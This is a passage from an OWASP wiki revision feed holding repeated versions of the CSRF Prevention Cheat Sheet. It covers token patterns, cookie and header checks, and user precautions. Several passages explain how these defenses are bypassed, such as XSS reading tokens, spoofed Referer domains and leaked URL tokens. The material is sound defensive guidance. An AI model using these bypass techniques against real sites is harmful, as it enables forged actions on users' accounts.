In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This is often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from javascript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site).  This attack scenario is easy to prevent, the referer will be omitted if the origin of the request is HTTPS.  Therefore this attack does not affect web applications that are HTTPS only. &lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are limitations on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Encrypted Token Pattern ===&lt;br /&gt;
&lt;br /&gt;
'''Overview'''&lt;br /&gt;
&lt;br /&gt;
The Encrypted Token Pattern leverages an encryption, rather than comparison, method of Token-validation. After successful authentication, the server generates a unique Token comprised of the user's ID, a timestamp value and a [http://en.wikipedia.org/wiki/Cryptographic_nonce nonce], using a unique key available only on the server. This Token is returned to the client and embedded in a hidden field. Subsequent AJAX requests include this Token in the request-header, in a similar manner to the Double-Submit pattern. Non-AJAX form-based requests will implicitly persist the Token in its hidden field, although I recommend persisting this data in a custom HTTP header in such cases. On receipt of this request, the server reads and decrypts the Token value with the same key used to create the Token.&lt;br /&gt;
&lt;br /&gt;
'''Validation'''&lt;br /&gt;
&lt;br /&gt;
On successful Token-decryption, the server has access to parsed values, ideally in the form of [http://en.wikipedia.org/wiki/Claims-based_identity claims]. These claims are processed by comparing the UserId claim to any potential stored UserId (in a Cookie or Session variable, if the site already contains a means of authentication). The Timestamp is validated against the current time, preventing replay attacks.&lt;br /&gt;
Alternatively, in the case of a CSRF attack, the server will be unable to decrypt the poisoned Token, and can block and log the attack.&lt;br /&gt;
&lt;br /&gt;
This pattern exists primarily to allow developers and architects protect against CSRF without session-dependency. It also addresses some of the shortfalls in other stateless approaches, such as the need to store data in a Cookie, circumnavigating the Cookie-subdomain and HTTPONLY issues.&lt;br /&gt;
&lt;br /&gt;
Please refer to the following resources for more information:&lt;br /&gt;
&lt;br /&gt;
*[http://insidethecpu.files.wordpress.com/2013/09/encrypted-token-pattern.pdf Encrypted Token Architecture] High-level overview and process-flow.&lt;br /&gt;
*[http://insidethecpu.wordpress.com/2013/09/23/encrypted-token-pattern/ Encrypted Token Overview] High-level overview and process-flow.&lt;br /&gt;
&lt;br /&gt;
= CSRF Prevention without a Synchronizer Token =&lt;br /&gt;
CSRF can be prevented in a number of ways. Using a Synchronizer Token is one way that an application can rely upon the Same-Origin Policy to prevent CSRF by maintaining a secret token to authenticate requests.  This section details other ways that an application can prevent CSRF by relying upon similar rules that CSRF exploits can never break.&lt;br /&gt;
&lt;br /&gt;
== Checking The Referer Header ==&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.  This method of CSRF mitigation is also commonly used with unauthenticated requests,  such as requests made prior to establishing a session state which is required to keep track of a synchronization token.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a referer check. &lt;br /&gt;
&lt;br /&gt;
== Checking The Origin Header ==&lt;br /&gt;
The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS url.&lt;br /&gt;
&lt;br /&gt;
If the origin header is present,  then it should be checked for consistency.&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Prevention Frameworks =&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses.  This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric[at]infraredsecurity.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=156559</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=156559"/>
				<updated>2013-08-08T17:07:50Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: Fixing grammar&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site.&lt;br /&gt;
&lt;br /&gt;
In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from javascript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site).  This attack scenario is easy to prevent, the referer will be omitted if the origin of the request is HTTPS.  Therefore this attack does not affect web applications that are HTTPS only. &lt;br /&gt;
&lt;br /&gt;
The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.&lt;br /&gt;
&lt;br /&gt;
In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.&lt;br /&gt;
&lt;br /&gt;
For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are limitations on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Checking The Referer Header ===&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.  This method of CSRF mitigation is also commonly used with unauthenticated requests,  such as requests made prior to establishing a session state which is required to keep track of a synchronization token.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a referer check. &lt;br /&gt;
&lt;br /&gt;
=== Checking The Origin Header ===&lt;br /&gt;
The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks.  Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS url.&lt;br /&gt;
&lt;br /&gt;
If the origin header is present,  then it should be checked for consistency.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
